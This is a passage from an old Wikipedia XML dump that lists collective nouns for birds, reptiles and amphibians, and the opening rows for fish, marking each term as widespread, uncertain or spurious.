&lt;tr&gt;&lt;td&gt; '''[[grouse|grouse]]''' &lt;/td&gt;&lt;td&gt;A pack of grouse&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[guillemot|guillemots]]''' &lt;/td&gt;&lt;td&gt;A bazaar of guillemots&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[guinea fowl|guinea fowl]]''' &lt;/td&gt;&lt;td&gt;A confusion of guinea fowl&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gull|gulls]]''' &lt;/td&gt;&lt;td&gt;A colony of gulls&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gull|gulls]]''' &lt;/td&gt;&lt;td&gt;A screech of gulls&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[hawk|hawks]]''' &lt;/td&gt;&lt;td&gt;A cast of hawks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[hawk|hawks]]''' &lt;/td&gt;&lt;td&gt;A kettle of hawks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[heron|herons]]''' &lt;/td&gt;&lt;td&gt;A siege of herons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[hummingbird|hummingbirds]]''' &lt;/td&gt;&lt;td&gt;A charm of hummingbirds&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jay|jays]]''' &lt;/td&gt;&lt;td&gt;A band of jays&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jay|jays]]''' &lt;/td&gt;&lt;td&gt;A party of jays&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jay|jays]]''' &lt;/td&gt;&lt;td&gt;A scold of jays&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lapwing|lapwings]]''' &lt;/td&gt;&lt;td&gt;A deceit of lapwings&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lapwing|lapwings]]''' &lt;/td&gt;&lt;td&gt;A desert of lapwings&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lark|larks]]''' &lt;/td&gt;&lt;td&gt;An exaltation of larks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[magpie|magpies]]''' &lt;/td&gt;&lt;td&gt;A tiding(s) of magpies&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mallard|mallards]]''' &lt;/td&gt;&lt;td&gt;A lute of mallards&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mallard|mallards]]''' &lt;/td&gt;&lt;td&gt;A sord of mallards&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[marten|martens]]''' &lt;/td&gt;&lt;td&gt;A richness of martens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mudhen|mudhen]]''' &lt;/td&gt;&lt;td&gt;A fleet of mudhen&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[nightingale|nightingales]]''' &lt;/td&gt;&lt;td&gt;A watch of nightingales&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[owl|owls]]''' &lt;/td&gt;&lt;td&gt;A parliament of owls&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[owl|owls]]''' &lt;/td&gt;&lt;td&gt;A stare of owls&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[parrot|parrots]]''' &lt;/td&gt;&lt;td&gt;A company of parrots&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[parrot|parrots]]''' &lt;/td&gt;&lt;td&gt;A pandemonium of parrots&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[partridge|partridges]]''' &lt;/td&gt;&lt;td&gt;A bew of partridges&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[partridge|partridges]]''' &lt;/td&gt;&lt;td&gt;A covey of partridges&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[peacock|peacocks]]''' &lt;/td&gt;&lt;td&gt;A muster of peacocks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[peacock|peacocks]]''' &lt;/td&gt;&lt;td&gt;A pride of peacocks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[peacock|peacocks]]''' &lt;/td&gt;&lt;td&gt;An ostentation of peacocks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[penguin|penguins]]''' &lt;/td&gt;&lt;td&gt;A colony of penguins&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[penguin|penguins]]''' &lt;/td&gt;&lt;td&gt;A creche of penguins&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[penguin|penguins]]''' &lt;/td&gt;&lt;td&gt;A huddle of penguins&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[penguin|penguins]]''' &lt;/td&gt;&lt;td&gt;A parcel of penguins&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[penguin|penguins]]''' &lt;/td&gt;&lt;td&gt;A rookery of penguins&lt;/td&gt;&lt;td&gt; Spurious &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pheasant|pheasants]]''' &lt;/td&gt;&lt;td&gt;A bouquet of pheasants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pheasant|pheasants]]''' &lt;/td&gt;&lt;td&gt;A covey of pheasants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pheasant|pheasants]]''' &lt;/td&gt;&lt;td&gt;A nide of pheasants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pheasant|pheasants]]''' &lt;/td&gt;&lt;td&gt;A nye of pheasants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pigeon|pigeons]]''' &lt;/td&gt;&lt;td&gt;A kit of pigeons&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[pigeon|pigeons]]''' &lt;/td&gt;&lt;td&gt;A loft of pigeons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[plover|plovers]]''' &lt;/td&gt;&lt;td&gt;A congregation of plovers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ptarmigan|ptarmigan]]''' &lt;/td&gt;&lt;td&gt;A covey of ptarmigans
&lt;tr&gt;&lt;td&gt; '''[[quail|quail]]''' &lt;/td&gt;&lt;td&gt;A bevy of quail&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[quail|quail]]''' &lt;/td&gt;&lt;td&gt;A covey of quail&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[raven|ravens]]''' &lt;/td&gt;&lt;td&gt;A conspiracy of ravens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[raven|ravens]]''' &lt;/td&gt;&lt;td&gt;A murder of ravens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[raven|ravens]]''' &lt;/td&gt;&lt;td&gt;A storytelling of ravens&lt;/td&gt;&lt;td&gt; &lt;center&gt;Uncertain&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[raven|ravens]]''' &lt;/td&gt;&lt;td&gt;An unkindness of ravens&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[rook (bird)|rooks]]''' &lt;/td&gt;&lt;td&gt;A building of rooks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[rook (bird)|rooks]]''' &lt;/td&gt;&lt;td&gt;A clamour of rooks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[rook (bird)|rooks]]''' &lt;/td&gt;&lt;td&gt;A parliament of rooks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ruff|ruffs]]''' &lt;/td&gt;&lt;td&gt;A hill of ruffs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sandpiper|sandpipers]]''' &lt;/td&gt;&lt;td&gt;A fling of sandpipers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sea bird|sea fowl]]''' &lt;/td&gt;&lt;td&gt;A cloud of sea fowl&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gull|seagulls]]''' &lt;/td&gt;&lt;td&gt;A flock of seagulls&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[shelduck|sheldrakes]]''' &lt;/td&gt;&lt;td&gt;A doading of sheldrakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[skylark|skylarks]]''' &lt;/td&gt;&lt;td&gt;An exultation of skylarks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snipe|snipe]]''' &lt;/td&gt;&lt;td&gt;A walk of snipe&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snipe|snipe]]''' &lt;/td&gt;&lt;td&gt;A wisp of snipe&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sparrow|sparrows]]''' &lt;/td&gt;&lt;td&gt;A host of sparrows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sparrow|sparrows]]''' &lt;/td&gt;&lt;td&gt;A quarrel of sparrows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[sparrow|sparrows]]''' &lt;/td&gt;&lt;td&gt;A ubiquity of sparrows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[starling|starlings]]''' &lt;/td&gt;&lt;td&gt;A murmuration of starlings&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[stork|storks]]''' &lt;/td&gt;&lt;td&gt;A muster of storks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[stork|storks]]''' &lt;/td&gt;&lt;td&gt;A phalanx of storks&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swallow|swallows]]''' &lt;/td&gt;&lt;td&gt;A flight of swallows&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swallow|swallows]]''' &lt;/td&gt;&lt;td&gt;A gulp of swallows&lt;/td&gt;&lt;td&gt; Spurious &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swan|swans]]''' &lt;/td&gt;&lt;td&gt;A wedge of swans (flying)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swan|swans]]''' &lt;/td&gt;&lt;td&gt;A bank of swans&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swan|swans]]''' &lt;/td&gt;&lt;td&gt;A bevy of swans&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swan|swans]]''' &lt;/td&gt;&lt;td&gt;A whiteness of swans&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[swan|swans]]''' &lt;/td&gt;&lt;td&gt;An eyrar of swans&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[teal|teal]]''' &lt;/td&gt;&lt;td&gt;A diving of teal&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[teal|teal]]''' &lt;/td&gt;&lt;td&gt;A spring of teal&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turdidae|thrushes]]''' &lt;/td&gt;&lt;td&gt;A mutation of thrushes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turkey (bird)|turkeys]]''' &lt;/td&gt;&lt;td&gt;A raffle of turkeys&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turkey (bird)|turkeys]]''' &lt;/td&gt;&lt;td&gt;A rafter of turkeys&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[Turtle Dove|Turtle Doves]]''' &lt;/td&gt;&lt;td&gt;A pitying of turtledoves&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[waterfowl|waterfowl]]''' &lt;/td&gt;&lt;td&gt;A knob of waterfowl&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[waterfowl|waterfowl]]''' &lt;/td&gt;&lt;td&gt;A plump of waterfowl&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[wigeon|Wigeon]]''' &lt;/td&gt;&lt;td&gt;A coil of widgeon&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[woodpecker|woodpeckers]]''' &lt;/td&gt;&lt;td&gt;A descent of woodpeckers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==External links==
[http://www.nzbirds.com/more/nouns.html An exhaustive (though possibly partly fictitious) list of collective nouns for birds]

[[Category:Lists of collective nouns|Birds]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for reptiles and amphibians</title>
    <id>7154</id>
    <revision>
      <id>15905234</id>
      <timestamp>2004-12-08T01:00:55Z</timestamp>
      <contributor>
        <username>Sam Hocevar</username>
        <id>65709</id>
      </contributor>
      <minor />
      <comment>[[User:Sietse Snel/Fix common mistakes|fix miscapitalisation; please help us fix common mistakes in the article space]]</comment>
      <text xml:space="preserve">Also see [[Collective noun]]

&lt;table border = 0&gt;
&lt;tr&gt;&lt;td&gt; '''SUBJECT''' &lt;/td&gt;&lt;td&gt;'''COLLECTIVE TERM''' &amp;nbsp;&lt;/td&gt;&lt;td&gt; &lt;center&gt;'''STATUS'''&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crocodile|crocodiles]]''' &lt;/td&gt;&lt;td&gt;A bask of crocodiles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crocodile|crocodiles]]''' &lt;/td&gt;&lt;td&gt;A congregation of crocodiles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crocodile|crocodiles]]''' &lt;/td&gt;&lt;td&gt;A float of crocodiles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[crocodile|crocodiles]]''' &lt;/td&gt;&lt;td&gt;A nest of crocodiles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[Cobra (snake)|cobras]]''' &lt;/td&gt;&lt;td&gt;A quiver of cobras&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[European dragon|dragons]]''' &lt;/td&gt;&lt;td&gt;A flight of dragons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[European dragon|dragons]]''' &lt;/td&gt;&lt;td&gt;A weyr of dragons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[European dragon|dragons]]''' &lt;/td&gt;&lt;td&gt;A wing of dragons&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[frog|frogs]]''' &lt;/td&gt;&lt;td&gt;An army of frogs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[frog|frogs]]''' &lt;/td&gt;&lt;td&gt;A colony of frogs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[frog|frogs]]''' &lt;/td&gt;&lt;td&gt;A knot of frogs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[iguana|iguanas]]''' &lt;/td&gt;&lt;td&gt;A mess of iguanas&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lizard|lizards]]''' &lt;/td&gt;&lt;td&gt;A lounge of lizards&lt;/td&gt;&lt;td&gt; Spurious &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[Monitor lizard|monitors]]''' &lt;/td&gt;&lt;td&gt;A bank of monitors&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[rattlesnake|rattlesnakes]]''' &lt;/td&gt;&lt;td&gt;A rhumba of rattlesnakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snake|snakes]]''' &lt;/td&gt;&lt;td&gt;A bed of snakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snake|snakes]]''' &lt;/td&gt;&lt;td&gt;A den of snakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snake|snakes]]''' &lt;/td&gt;&lt;td&gt;A nest of snakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snake|snakes]]''' &lt;/td&gt;&lt;td&gt;A pit of snakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snake|snakes]]''' &lt;/td&gt;&lt;td&gt;A slither of snakes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[toad|toads]]''' &lt;/td&gt;&lt;td&gt;A knot of toads&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turtle|turtles]]''' &lt;/td&gt;&lt;td&gt;A bale of turtles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turtle|turtles]]''' &lt;/td&gt;&lt;td&gt;A dule of turtles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turtle|turtles]]''' &lt;/td&gt;&lt;td&gt;A nest of turtles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[turtle|turtles]]''' &lt;/td&gt;&lt;td&gt;A turn of turtles&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[viper|vipers]]''' &lt;/td&gt;&lt;td&gt;A nest of vipers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

[[Category:Lists of collective nouns|Reptiles and amphibians]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for fish, invertebrates, and plants</title>
    <id>7155</id>
    <revision>
      <id>19605648</id>
      <timestamp>2005-07-25T23:09:00Z</timestamp>
      <contributor>
        <ip>65.161.184.2</ip>
      </contributor>
      <text xml:space="preserve">Also see [[Collective noun]]

The square root signs, &amp;#8730;, below signify a widespread usage in both [[North American English]] and [[Commonwealth English]].

&lt;table border = 0&gt;
&lt;tr&gt;&lt;td&gt; '''SUBJECT''' &lt;/td&gt;&lt;td&gt;'''COLLECTIVE TERM'''&lt;/td&gt;&lt;td&gt; &lt;center&gt;'''STATUS'''&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ant]]s''' &lt;/td&gt;&lt;td&gt;A colony of ants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ant]]s''' &lt;/td&gt;&lt;td&gt;A swarm of ants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
